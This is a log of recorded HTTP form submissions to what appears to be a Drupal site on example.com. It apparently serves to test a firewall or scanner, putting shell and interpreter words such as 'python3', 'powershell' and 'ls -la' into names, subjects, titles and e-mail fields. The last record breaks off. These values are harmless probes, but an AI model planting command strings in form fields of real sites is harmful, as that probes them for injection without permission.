{"method": "POST", "target": "/comment/reply/node/2/comment", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/node/2"], "body": "homepage=&form_build_id=form-OtF19PL07BZ_JRM8b_DdnnEKUnOQajB4f1jQJ23uop0&form_id=comment_comment_form&name=Visitor&mail=Example-notes%40example.com&subject%5B0%5D%5Bvalue%5D=Hello&comment_body%5B0%5D%5Bvalue%5D=Hello&op=Save"}
{"method": "POST", "target": "/user/2/contact", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/2/contact", "Cookie: SESSexample=example-session-value"], "body": "form_build_id=form-8R2N1x1pfqcr8GN713kyLpn0b-cTnNVN7ygqRRuLlQk&form_token=ikt7sObFQYlJmktdmgLIlRsPxhOX0EvhbDnadCS1yBE&form_id=contact_message_personal_form&subject%5B0%5D%5Bvalue%5D=Example+notes&message%5B0%5D%5Bvalue%5D=Hello&op=Send+message"}
{"method": "POST", "target": "/block/add/basic", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/block/add/basic", "Cookie: SESSexample=example-session-value"], "body": "body%5B0%5D%5Bformat%5D=basic_html&form_build_id=form-t_j-0Uo-nj9w4F3mal1sdrIJ6nRCz8WRLnWuvc4H7xU&form_token=DEXbKJi13UUhxuVzHqAuIoDoIiOxVD3zIbleFQYCxWo&form_id=block_content_basic_form&revision_log%5B0%5D%5Bvalue%5D=&advanced__active_tab=&info%5B0%5D%5Bvalue%5D=Example+block&body%5B0%5D%5Bvalue%5D=Example+notes&op=Save"}
{"method": "POST", "target": "/contact", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/contact", "Cookie: SESSexample=example-session-value"], "body": "form_build_id=form-eDv1dJ9TeQSCfn_qnOpucL9FZ80CWcj2DqoFZKweo6A&form_token=hZCWIc35BbWZez4BH79sONu2xRp9yFW3Ae7bRdnhIKo&form_id=contact_message_feedback_form&subject%5B0%5D%5Bvalue%5D=Example+notes&message%5B0%5D%5Bvalue%5D=Example+notes&op=Send+message"}
{"method": "POST", "target": "/fr/user/login", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/fr/user/login"], "body": "form_build_id=form-1DEiDDKOZVDL-IGI3M09YoWLmHFKPRR_enzR-rIz8Q4&form_id=user_login_form&name=Example+notes&pass=example-password-1&op=Log+in"}
{"method": "POST", "target": "/fr/taxonomy/term/1/edit", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/fr/taxonomy/term/1/edit", "Cookie: SESSexample=example-session-value"], "body": "description%5B0%5D%5Bformat%5D=basic_html&form_build_id=form-yOLNU6YuuT3aI5dgvD7swHgArKGp4ZnsyTHfxuCE0rE&form_token=WfbeAFeEldVtZdSN8lbgx2xM5PHqm2eNG1Qxri7r1QQ&form_id=taxonomy_term_tags_form&parent%5B%5D=0&weight=0&revision_log_message%5B0%5D%5Bvalue%5D=&path%5B0%5D%5Balias%5D=&advanced__active_tab=&status%5Bvalue%5D=1&name%5B0%5D%5Bvalue%5D=Example+notes&description%5B0%5D%5Bvalue%5D=Example+notes&op=Save"}
{"method": "POST", "target": "/fr/node/2/edit", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/fr/node/2/edit", "Cookie: SESSexample=example-session-value"], "body": "changed=1794254564&form_build_id=form-Gai5cby_kd0hTGnntBqbNd5FaphxmrNhVzXlBr_tW4A&form_token=UoI__dgU4EdzPeKM_idUbulEhtmmK0aSncRMkgqykaY&form_id=node_article_edit_form&field_image%5B0%5D%5Bfids%5D=&body%5B0%5D%5Bsummary%5D=&body%5B0%5D%5Bvalue%5D=&body%5B0%5D%5Bformat%5D=basic_html&field_tags%5Btarget_id%5D=&revision=1&revision_log%5B0%5D%5Bvalue%5D=&menu%5Btitle%5D=&menu%5Bdescription%5D=&menu%5Bmenu_parent%5D=main%3A&menu%5Bweight%5D=0&comment%5B0%5D%5Bstatus%5D=2&path%5B0%5D%5Balias%5D=&uid%5B0%5D%5Btarget_id%5D=admin+%281%29&created%5B0%5D%5Bvalue%5D%5Bdate%5D=2026-11-09&created%5B0%5D%5Bvalue%5D%5Btime%5D=20%3A02%3A44&promote%5Bvalue%5D=1&status%5Bvalue%5D=1&title%5B0%5D%5Bvalue%5D=Example+notes&op=Save"}
{"method": "POST", "target": "/user/register", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/register"], "body": "user_picture%5B0%5D%5Bfids%5D=&user_picture%5B0%5D%5Bdisplay%5D=1&form_build_id=form-XIkt-iN2fTtPYd7lWJM3eGKWdzSWxTiRCa04H510w6k&form_id=user_register_form&contact=1&name=new.person&mail=python3%40example.com&op=Create+new+account"}
{"method": "POST", "target": "/comment/reply/node/2/comment", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/node/2"], "body": "homepage=&form_build_id=form-ehJvk05FGy45Nhp20LoEYUQE7Wt_-2JzRjizP26CgBY&form_id=comment_comment_form&name=Visitor&mail=python3%40example.com&subject%5B0%5D%5Bvalue%5D=Hello&comment_body%5B0%5D%5Bvalue%5D=Hello&op=Save"}
{"method": "POST", "target": "/user/2/contact", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/2/contact", "Cookie: SESSexample=example-session-value"], "body": "form_build_id=form-V1VVXP408QEmGCpsAPuR7RrJ0x2qvE8oV4e9lHH3R1U&form_token=ikt7sObFQYlJmktdmgLIlRsPxhOX0EvhbDnadCS1yBE&form_id=contact_message_personal_form&subject%5B0%5D%5Bvalue%5D=python3&message%5B0%5D%5Bvalue%5D=Hello&op=Send+message"}
{"method": "POST", "target": "/block/add/basic", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/block/add/basic", "Cookie: SESSexample=example-session-value"], "body": "body%5B0%5D%5Bformat%5D=basic_html&form_build_id=form-G9_Pxre_HbKdcBQeFuUFlMVddf4PZbL0v0QwFrK_5ec&form_token=DEXbKJi13UUhxuVzHqAuIoDoIiOxVD3zIbleFQYCxWo&form_id=block_content_basic_form&revision_log%5B0%5D%5Bvalue%5D=&advanced__active_tab=&info%5B0%5D%5Bvalue%5D=Example+block&body%5B0%5D%5Bvalue%5D=python3&op=Save"}
{"method": "POST", "target": "/contact", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/contact", "Cookie: SESSexample=example-session-value"], "body": "form_build_id=form-5F3fqn6-aOxkyrQTgkFt9ZtfP3Ix-3gJ94t-_ZxMfT8&form_token=hZCWIc35BbWZez4BH79sONu2xRp9yFW3Ae7bRdnhIKo&form_id=contact_message_feedback_form&subject%5B0%5D%5Bvalue%5D=python3&message%5B0%5D%5Bvalue%5D=python3&op=Send+message"}
{"method": "POST", "target": "/fr/user/login", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/fr/user/login"], "body": "form_build_id=form-1DEiDDKOZVDL-IGI3M09YoWLmHFKPRR_enzR-rIz8Q4&form_id=user_login_form&name=python3&pass=example-password-1&op=Log+in"}
{"method": "POST", "target": "/fr/taxonomy/term/1/edit", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/fr/taxonomy/term/1/edit", "Cookie: SESSexample=example-session-value"], "body": "description%5B0%5D%5Bformat%5D=basic_html&form_build_id=form-a6fa_5ka4mxKF80GbK2KU-fFVk6YK_XMB-Baww5X2Mk&form_token=WfbeAFeEldVtZdSN8lbgx2xM5PHqm2eNG1Qxri7r1QQ&form_id=taxonomy_term_tags_form&parent%5B%5D=0&weight=0&revision_log_message%5B0%5D%5Bvalue%5D=&path%5B0%5D%5Balias%5D=&advanced__active_tab=&status%5Bvalue%5D=1&name%5B0%5D%5Bvalue%5D=python3&description%5B0%5D%5Bvalue%5D=python3&op=Save"}
{"method": "POST", "target": "/fr/node/2/edit", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/fr/node/2/edit", "Cookie: SESSexample=example-session-value"], "body": "changed=1794254830&form_build_id=form-td_F60IruKhzivNlc_dSiZNoKkTqMsj6s3fEe0Lzg7c&form_token=UoI__dgU4EdzPeKM_idUbulEhtmmK0aSncRMkgqykaY&form_id=node_article_edit_form&field_image%5B0%5D%5Bfids%5D=&body%5B0%5D%5Bsummary%5D=&body%5B0%5D%5Bvalue%5D=&body%5B0%5D%5Bformat%5D=basic_html&field_tags%5Btarget_id%5D=&revision=1&revision_log%5B0%5D%5Bvalue%5D=&menu%5Btitle%5D=&menu%5Bdescription%5D=&menu%5Bmenu_parent%5D=main%3A&menu%5Bweight%5D=0&comment%5B0%5D%5Bstatus%5D=2&path%5B0%5D%5Balias%5D=&uid%5B0%5D%5Btarget_id%5D=admin+%281%29&created%5B0%5D%5Bvalue%5D%5Bdate%5D=2026-11-09&created%5B0%5D%5Bvalue%5D%5Btime%5D=20%3A02%3A44&promote%5Bvalue%5D=1&status%5Bvalue%5D=1&title%5B0%5D%5Bvalue%5D=python3&op=Save"}
{"method": "POST", "target": "/user/register", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/register"], "body": "user_picture%5B0%5D%5Bfids%5D=&user_picture%5B0%5D%5Bdisplay%5D=1&form_build_id=form-XIkt-iN2fTtPYd7lWJM3eGKWdzSWxTiRCa04H510w6k&form_id=user_register_form&contact=1&name=new.person&mail=powershell%40example.com&op=Create+new+account"}
{"method": "POST", "target": "/comment/reply/node/2/comment", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/node/2"], "body": "homepage=&form_build_id=form-FMTNk8Qw4CcnF2U2FNeC1y2ubUAWj4ZqTNt5qo4BdcA&form_id=comment_comment_form&name=Visitor&mail=powershell%40example.com&subject%5B0%5D%5Bvalue%5D=Hello&comment_body%5B0%5D%5Bvalue%5D=Hello&op=Save"}
{"method": "POST", "target": "/user/2/contact", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/2/contact", "Cookie: SESSexample=example-session-value"], "body": "form_build_id=form-dN1wEgo96PQAeyS6hMficsot94rVav-FiCh3v8BMjSU&form_token=ikt7sObFQYlJmktdmgLIlRsPxhOX0EvhbDnadCS1yBE&form_id=contact_message_personal_form&subject%5B0%5D%5Bvalue%5D=powershell&message%5B0%5D%5Bvalue%5D=Hello&op=Send+message"}
{"method": "POST", "target": "/block/add/basic", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/block/add/basic", "Cookie: SESSexample=example-session-value"], "body": "body%5B0%5D%5Bformat%5D=basic_html&form_build_id=form-yVUzK5fZVL6jXlfP3oAKsnObRPklHaXJoauKtJIHmtU&form_token=DEXbKJi13UUhxuVzHqAuIoDoIiOxVD3zIbleFQYCxWo&form_id=block_content_basic_form&revision_log%5B0%5D%5Bvalue%5D=&advanced__active_tab=&info%5B0%5D%5Bvalue%5D=Example+block&body%5B0%5D%5Bvalue%5D=powershell&op=Save"}
{"method": "POST", "target": "/contact", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/contact", "Cookie: SESSexample=example-session-value"], "body": "form_build_id=form-84jyppK6d-aAyIvGJa7kaD4noEcfMs7RehTSdz4g9EU&form_token=hZCWIc35BbWZez4BH79sONu2xRp9yFW3Ae7bRdnhIKo&form_id=contact_message_feedback_form&subject%5B0%5D%5Bvalue%5D=powershell&message%5B0%5D%5Bvalue%5D=powershell&op=Send+message"}
{"method": "POST", "target": "/fr/user/login", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/fr/user/login"], "body": "form_build_id=form-1DEiDDKOZVDL-IGI3M09YoWLmHFKPRR_enzR-rIz8Q4&form_id=user_login_form&name=powershell&pass=example-password-1&op=Log+in"}
{"method": "POST", "target": "/fr/taxonomy/term/1/edit", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/fr/taxonomy/term/1/edit", "Cookie: SESSexample=example-session-value"], "body": "description%5B0%5D%5Bformat%5D=basic_html&form_build_id=form-3J5iR3r69AeW5RRi7RAx282fj3VU6h2J4PR6fP1YG5Q&form_token=WfbeAFeEldVtZdSN8lbgx2xM5PHqm2eNG1Qxri7r1QQ&form_id=taxonomy_term_tags_form&parent%5B%5D=0&weight=0&revision_log_message%5B0%5D%5Bvalue%5D=&path%5B0%5D%5Balias%5D=&advanced__active_tab=&status%5Bvalue%5D=1&name%5B0%5D%5Bvalue%5D=powershell&description%5B0%5D%5Bvalue%5D=powershell&op=Save"}
{"method": "POST", "target": "/fr/node/2/edit", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/fr/node/2/edit", "Cookie: SESSexample=example-session-value"], "body": "changed=1794254831&form_build_id=form-yZIqKDuxmTpDq6CZIqWd8lBuwB_iNnCE2_TIn2TM-ME&form_token=UoI__dgU4EdzPeKM_idUbulEhtmmK0aSncRMkgqykaY&form_id=node_article_edit_form&field_image%5B0%5D%5Bfids%5D=&body%5B0%5D%5Bsummary%5D=&body%5B0%5D%5Bvalue%5D=&body%5B0%5D%5Bformat%5D=basic_html&field_tags%5Btarget_id%5D=&revision=1&revision_log%5B0%5D%5Bvalue%5D=&menu%5Btitle%5D=&menu%5Bdescription%5D=&menu%5Bmenu_parent%5D=main%3A&menu%5Bweight%5D=0&comment%5B0%5D%5Bstatus%5D=2&path%5B0%5D%5Balias%5D=&uid%5B0%5D%5Btarget_id%5D=admin+%281%29&created%5B0%5D%5Bvalue%5D%5Bdate%5D=2026-11-09&created%5B0%5D%5Bvalue%5D%5Btime%5D=20%3A02%3A44&promote%5Bvalue%5D=1&status%5Bvalue%5D=1&title%5B0%5D%5Bvalue%5D=powershell&op=Save"}
{"method": "POST", "target": "/user/register", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/register"], "body": "user_picture%5B0%5D%5Bfids%5D=&user_picture%5B0%5D%5Bdisplay%5D=1&form_build_id=form-XIkt-iN2fTtPYd7lWJM3eGKWdzSWxTiRCa04H510w6k&form_id=user_register_form&contact=1&name=new.person&mail=ls--la%40example.com&op=Create+new+account"}
{"method": "POST", "target": "/comment/reply/node/2/comment", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/node/2"], "body": "homepage=&form_build_id=form-4zQ6mnIGEbsODUSaNqxYs--JXApqfXwTdt-VWSfbkTY&form_id=comment_comment_form&name=Visitor&mail=ls--la%40example.com&subject%5B0%5D%5Bvalue%5D=Hello&comment_body%5B0%5D%5Bvalue%5D=Hello&op=Save"}
{"method": "POST", "target": "/user/2/contact", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/2/contact", "Cookie: SESSexample=example-session-value"], "body": "form_build_id=form-TGTkV0e75D04o_e7Alk-EDJwtT6xg8vwAuewAeO0slI&form_token=ikt7sObFQYlJmktdmgLIlRsPxhOX0EvhbDnadCS1yBE&form_id=contact_message_personal_form&subject%5B0%5D%5Bvalue%5D=ls+-la&message%5B0%5D%5Bvalue%5D=Hello&op=Send+message"}
{"method": "POST", "target": "/block/add/basic", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/block/add/basic", "Cookie: SESSexample=example-session-value"], "body": "body%5B0%5D%5Bformat%5D=basic_html&form_build_id=form-g_jcUYiAO5qPeIzkdy4NL2wYOm1QSCLNTo4lWHyHeQc&form_token=DEXbKJi13UUhxuVzHqAuIoDoIiOxVD3zIbleFQYCxWo&form_id=block_content_basic_form&revision_log%5B0%5D%5Bvalue%5D=&advanced__active_tab=&info%5B0%5D%5Bvalue%5D=Example+block&body%5B0%5D%5Bvalue%5D=ls+-la&op=Save"}
{"method": "POST", "target": "/contact", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/contact", "Cookie: SESSexample=example-session-value"], "body": "form_build_id=form-FtmG7RAUBVZD0DWSIEQLzHVohhCrTZP4KE9v1XZcvHc&form_token=hZCWIc35BbWZez4BH79sONu2xRp9yFW3Ae7bRdnhIKo&form_id=contact_message_feedback_form&subject%5B0%5D%5Bvalue%5D=ls+-la&message%5B0%5D%5Bvalue%5D=ls+-la&op=Send+message"}
{"method": "POST", "target": "/fr/user/login", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/fr/user/login"], "body": "form_build_id=form-1DEiDDKOZVDL-IGI3M09YoWLmHFKPRR_enzR-rIz8Q4&form_id=user_login_form&name=ls+-la&pass=example-password-1&op=Log+in"}
{"method": "POST", "target": "/fr/taxonomy/term/1/edit", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/fr/taxonomy/term/1/edit", "Cookie: SESSexample=example-session-value"], "body": "description%5B0%5D%5Bformat%5D=basic_html&form_build_id=form-GCvKEgdFSLrzi6u3mm9ubynaYpMehuF5BgJowsJqqzQ&form_token=WfbeAFeEldVtZdSN8lbgx2xM5PHqm2eNG1Qxri7r1QQ&form_id=taxonomy_term_tags_form&parent%5B%5D=0&weight=0&revision_log_message%5B0%5D%5Bvalue%5D=&path%5B0%5D%5Balias%5D=&advanced__active_tab=&status%5Bvalue%5D=1&name%5B0%5D%5Bvalue%5D=ls+-la&description%5B0%5D%5Bvalue%5D=ls+-la&op=Save"}
{"method": "POST", "target": "/fr/node/2/edit", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/fr/node/2/edit", "Cookie: SESSexample=example-session-value"], "body": 